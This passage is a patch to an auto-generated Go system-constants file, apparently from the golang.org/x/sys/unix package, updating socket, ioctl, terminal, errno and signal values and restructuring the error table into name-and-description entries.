-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
- SIOCINQ = 0x4004667f
- SIOCOUTQ = 0x40047473
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
- SOCK_CLOEXEC = 0x400000
-- SOCK_DCCP = 0x6
- SOCK_DGRAM = 0x2
- SOCK_NONBLOCK = 0x4000
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
- SOL_SOCKET = 0xffff
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
- SO_ACCEPTCONN = 0x8000
- SO_ATTACH_BPF = 0x34
-- SO_ATTACH_FILTER = 0x1a
- SO_ATTACH_REUSEPORT_CBPF = 0x35
- SO_ATTACH_REUSEPORT_EBPF = 0x36
- SO_BINDTODEVICE = 0xd
-+ SO_BINDTOIFINDEX = 0x41
- SO_BPF_EXTENSIONS = 0x32
- SO_BROADCAST = 0x20
- SO_BSDCOMPAT = 0x400
- SO_BUSY_POLL = 0x30
- SO_CNX_ADVICE = 0x37
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-+ SO_COOKIE = 0x3b
-+ SO_DETACH_REUSEPORT_BPF = 0x47
- SO_DOMAIN = 0x1029
- SO_DONTROUTE = 0x10
- SO_ERROR = 0x1007
-- SO_GET_FILTER = 0x1a
- SO_INCOMING_CPU = 0x33
-+ SO_INCOMING_NAPI_ID = 0x3a
- SO_KEEPALIVE = 0x8
- SO_LINGER = 0x80
- SO_LOCK_FILTER = 0x28
- SO_MARK = 0x22
- SO_MAX_PACING_RATE = 0x31
-+ SO_MEMINFO = 0x39
- SO_NOFCS = 0x27
-- SO_NO_CHECK = 0xb
- SO_OOBINLINE = 0x100
- SO_PASSCRED = 0x2
- SO_PASSSEC = 0x1f
- SO_PEEK_OFF = 0x26
- SO_PEERCRED = 0x40
-- SO_PEERNAME = 0x1c
-+ SO_PEERGROUPS = 0x3d
- SO_PEERSEC = 0x1e
-- SO_PRIORITY = 0xc
- SO_PROTOCOL = 0x1028
- SO_RCVBUF = 0x1002
- SO_RCVBUFFORCE = 0x100b
- SO_RCVLOWAT = 0x800
- SO_RCVTIMEO = 0x2000
-+ SO_RCVTIMEO_NEW = 0x44
-+ SO_RCVTIMEO_OLD = 0x2000
- SO_REUSEADDR = 0x4
- SO_REUSEPORT = 0x200
- SO_RXQ_OVFL = 0x24
-@@ -1536,50 +358,19 @@ const (
- SO_SNDBUFFORCE = 0x100a
- SO_SNDLOWAT = 0x1000
- SO_SNDTIMEO = 0x4000
-- SO_TIMESTAMP = 0x1d
-+ SO_SNDTIMEO_NEW = 0x45
-+ SO_SNDTIMEO_OLD = 0x4000
- SO_TIMESTAMPING = 0x23
-+ SO_TIMESTAMPING_NEW = 0x43
-+ SO_TIMESTAMPING_OLD = 0x23
- SO_TIMESTAMPNS = 0x21
-+ SO_TIMESTAMPNS_NEW = 0x42
-+ SO_TIMESTAMPNS_OLD = 0x21
-+ SO_TIMESTAMP_NEW = 0x46
-+ SO_TXTIME = 0x3f
- SO_TYPE = 0x1008
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
- SO_WIFI_STATUS = 0x25
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-+ SO_ZEROCOPY = 0x3e
- TAB1 = 0x800
- TAB2 = 0x1000
- TAB3 = 0x1800
-@@ -1588,54 +379,6 @@ const (
- TCGETA = 0x40125401
- TCGETS = 0x40245408
- TCGETS2 = 0x402c540c
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
- TCSAFLUSH = 0x2
- TCSBRK = 0x20005405
- TCSBRKP = 0x5425
-@@ -1656,11 +399,13 @@ const (
- TIOCGETD = 0x40047400
- TIOCGEXCL = 0x40045440
- TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x40285443
- TIOCGLCKTRMIOS = 0x5456
- TIOCGPGRP = 0x40047483
- TIOCGPKT = 0x40045438
- TIOCGPTLCK = 0x40045439
- TIOCGPTN = 0x40047486
-+ TIOCGPTPEER = 0x20007489
- TIOCGRS485 = 0x40205441
- TIOCGSERIAL = 0x541e
- TIOCGSID = 0x40047485
-@@ -1677,28 +422,14 @@ const (
- TIOCM_CD = 0x40
- TIOCM_CTS = 0x20
- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_LOOP = 0x8000
-- TIOCM_OUT1 = 0x2000
-- TIOCM_OUT2 = 0x4000
- TIOCM_RI = 0x80
- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
- TIOCM_SR = 0x10
- TIOCM_ST = 0x8
- TIOCNOTTY = 0x20007471
- TIOCNXCL = 0x2000740e
- TIOCOUTQ = 0x40047473
- TIOCPKT = 0x80047470
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
- TIOCSBRK = 0x2000747b
- TIOCSCTTY = 0x20007484
- TIOCSERCONFIG = 0x5453
-@@ -1708,9 +439,9 @@ const (
- TIOCSERGWILD = 0x5454
- TIOCSERSETMULTI = 0x545b
- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
- TIOCSETD = 0x80047401
- TIOCSIG = 0x80047488
-+ TIOCSISO7816 = 0xc0285444
- TIOCSLCKTRMIOS = 0x5457
- TIOCSPGRP = 0x80047482
- TIOCSPTLCK = 0x80047487
-@@ -1725,6 +456,7 @@ const (
- TOSTOP = 0x100
- TUNATTACHFILTER = 0x801054d5
- TUNDETACHFILTER = 0x801054d6
-+ TUNGETDEVNETNS = 0x200054e3
- TUNGETFEATURES = 0x400454cf
- TUNGETFILTER = 0x401054db
- TUNGETIFF = 0x400454d2
-@@ -1732,7 +464,9 @@ const (
- TUNGETVNETBE = 0x400454df
- TUNGETVNETHDRSZ = 0x400454d7
- TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
- TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
- TUNSETGROUP = 0x800454ce
- TUNSETIFF = 0x800454ca
- TUNSETIFINDEX = 0x800454da
-@@ -1743,47 +477,52 @@ const (
- TUNSETPERSIST = 0x800454cb
- TUNSETQUEUE = 0x800454d9
- TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
- TUNSETTXFILTER = 0x800454d1
- TUNSETVNETBE = 0x800454de
- TUNSETVNETHDRSZ = 0x800454d8
- TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
- VDISCARD = 0xd
-- VDSUSP = 0xb
- VEOF = 0x4
-- VEOL = 0x5
-- VEOL2 = 0x6
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x4
-- VQUIT = 0x1
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
- VREPRINT = 0xc
- VSTART = 0x8
- VSTOP = 0x9
- VSUSP = 0xa
- VSWTC = 0x7
-- VT0 = 0x0
- VT1 = 0x4000
- VTDLY = 0x4000
- VTIME = 0x5
- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
- WORDSIZE = 0x40
-- WRAP = 0x20000
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
- XCASE = 0x4
- XTABS = 0x1800
- __TIOCFLUSH = 0x80047410
-@@ -1791,25 +530,19 @@ const (
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x30)
- EADDRNOTAVAIL = syscall.Errno(0x31)
- EADV = syscall.Errno(0x53)
- EAFNOSUPPORT = syscall.Errno(0x2f)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x25)
- EBADE = syscall.Errno(0x66)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x5d)
- EBADMSG = syscall.Errno(0x4c)
- EBADR = syscall.Errno(0x67)
- EBADRQC = syscall.Errno(0x6a)
- EBADSLT = syscall.Errno(0x6b)
- EBFONT = syscall.Errno(0x6d)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7f)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x5e)
- ECOMM = syscall.Errno(0x55)
- ECONNABORTED = syscall.Errno(0x35)
-@@ -1818,23 +551,15 @@ const (
- EDEADLK = syscall.Errno(0x4e)
- EDEADLOCK = syscall.Errno(0x6c)
- EDESTADDRREQ = syscall.Errno(0x27)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x58)
- EDQUOT = syscall.Errno(0x45)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x40)
- EHOSTUNREACH = syscall.Errno(0x41)
- EHWPOISON = syscall.Errno(0x87)
- EIDRM = syscall.Errno(0x4d)
- EILSEQ = syscall.Errno(0x7a)
- EINPROGRESS = syscall.Errno(0x24)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x38)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x81)
- EKEYREJECTED = syscall.Errno(0x83)
-@@ -1851,8 +576,6 @@ const (
- ELNRNG = syscall.Errno(0x62)
- ELOOP = syscall.Errno(0x3e)
- EMEDIUMTYPE = syscall.Errno(0x7e)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x28)
- EMULTIHOP = syscall.Errno(0x57)
- ENAMETOOLONG = syscall.Errno(0x3f)
-@@ -1860,102 +583,70 @@ const (
- ENETDOWN = syscall.Errno(0x32)
- ENETRESET = syscall.Errno(0x34)
- ENETUNREACH = syscall.Errno(0x33)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x69)
- ENOBUFS = syscall.Errno(0x37)
- ENOCSI = syscall.Errno(0x64)
- ENODATA = syscall.Errno(0x6f)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x80)
- ENOLCK = syscall.Errno(0x4f)
- ENOLINK = syscall.Errno(0x52)
- ENOMEDIUM = syscall.Errno(0x7d)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x4b)
- ENONET = syscall.Errno(0x50)
- ENOPKG = syscall.Errno(0x71)
- ENOPROTOOPT = syscall.Errno(0x2a)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x4a)
- ENOSTR = syscall.Errno(0x48)
- ENOSYS = syscall.Errno(0x5a)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x39)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x42)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x85)
- ENOTSOCK = syscall.Errno(0x26)
- ENOTSUP = syscall.Errno(0x2d)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x73)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x2d)
- EOVERFLOW = syscall.Errno(0x5c)
- EOWNERDEAD = syscall.Errno(0x84)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x2e)
-- EPIPE = syscall.Errno(0x20)
- EPROCLIM = syscall.Errno(0x43)
- EPROTO = syscall.Errno(0x56)
- EPROTONOSUPPORT = syscall.Errno(0x2b)
- EPROTOTYPE = syscall.Errno(0x29)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x59)
- EREMOTE = syscall.Errno(0x47)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x74)
- ERFKILL = syscall.Errno(0x86)
-- EROFS = syscall.Errno(0x1e)
- ERREMOTE = syscall.Errno(0x51)
- ESHUTDOWN = syscall.Errno(0x3a)
- ESOCKTNOSUPPORT = syscall.Errno(0x2c)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x54)
- ESTALE = syscall.Errno(0x46)
- ESTRPIPE = syscall.Errno(0x5b)
- ETIME = syscall.Errno(0x49)
- ETIMEDOUT = syscall.Errno(0x3c)
- ETOOMANYREFS = syscall.Errno(0x3b)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x63)
- EUSERS = syscall.Errno(0x44)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x68)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0xa)
- SIGCHLD = syscall.Signal(0x14)
- SIGCLD = syscall.Signal(0x14)
- SIGCONT = syscall.Signal(0x13)
- SIGEMT = syscall.Signal(0x7)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x17)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
- SIGLOST = syscall.Signal(0x1d)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x17)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1d)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTOP = syscall.Signal(0x11)
- SIGSYS = syscall.Signal(0xc)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x12)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-@@ -1969,174 +660,182 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol",
-- 48: "address already in use",
-- 49: "cannot assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "transport endpoint is already connected",
-- 57: "transport endpoint is not connected",
-- 58: "cannot send after transport endpoint shutdown",
-- 59: "too many references: cannot splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disk quota exceeded",
-- 70: "stale file handle",
-- 71: "object is remote",
-- 72: "device not a stream",
-- 73: "timer expired",
-- 74: "out of streams resources",
-- 75: "no message of desired type",
-- 76: "bad message",
-- 77: "identifier removed",
-- 78: "resource deadlock avoided",
-- 79: "no locks available",
-- 80: "machine is not on the network",
-- 81: "unknown error 81",
-- 82: "link has been severed",
-- 83: "advertise error",
-- 84: "srmount error",
-- 85: "communication error on send",
-- 86: "protocol error",
-- 87: "multihop attempted",
-- 88: "RFS specific error",
-- 89: "remote address changed",
-- 90: "function not implemented",
-- 91: "streams pipe error",
-- 92: "value too large for defined data type",
-- 93: "file descriptor in bad state",
-- 94: "channel number out of range",
-- 95: "level 2 not synchronized",
-- 96: "level 3 halted",
-- 97: "level 3 reset",
-- 98: "link number out of range",
-- 99: "protocol driver not attached",
-- 100: "no CSI structure available",
-- 101: "level 2 halted",
-- 102: "invalid exchange",
-- 103: "invalid request descriptor",
-- 104: "exchange full",
-- 105: "no anode",
-- 106: "invalid request code",
-- 107: "invalid slot",
-- 108: "file locking deadlock error",
-- 109: "bad font file format",
-- 110: "cannot exec a shared library directly",
-- 111: "no data available",
-- 112: "accessing a corrupted shared library",
-- 113: "package not installed",
-- 114: "can not access a needed shared library",
-- 115: "name not unique on network",
-- 116: "interrupted system call should be restarted",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "invalid or incomplete multibyte or wide character",
-- 123: "attempting to link in too many shared libraries",
-- 124: ".lib section in a.out corrupted",
-- 125: "no medium found",
-- 126: "wrong medium type",
-- 127: "operation canceled",
-- 128: "required key not available",
-- 129: "key has expired",
-- 130: "key has been revoked",
-- 131: "key was rejected by service",
-- 132: "owner died",
-- 133: "state not recoverable",
-- 134: "operation not possible due to RF-kill",
-- 135: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "ENOTSUP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "transport endpoint is already connected"},
-+ {57, "ENOTCONN", "transport endpoint is not connected"},
-+ {58, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {60, "ETIMEDOUT", "connection timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disk quota exceeded"},
